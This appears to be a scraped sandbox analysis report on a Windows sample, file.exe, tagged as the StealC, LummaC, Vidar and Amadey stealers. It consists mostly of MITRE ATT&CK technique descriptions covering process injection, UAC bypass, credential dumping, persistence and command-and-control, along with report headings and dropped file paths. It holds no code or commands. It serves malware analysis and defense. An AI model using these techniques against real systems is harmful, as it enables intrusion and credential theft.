Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Vidar

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Phishing

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BFHIJEBKEBGHIDHJKJEG

C:\ProgramData\CGDHIEGCFHCGDGCAECBGIDAEGI

C:\ProgramData\EGCFHDAKECFIDGDGDBKJ

C:\ProgramData\JJJEGHDA

Windows Analysis Report
file.exe

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre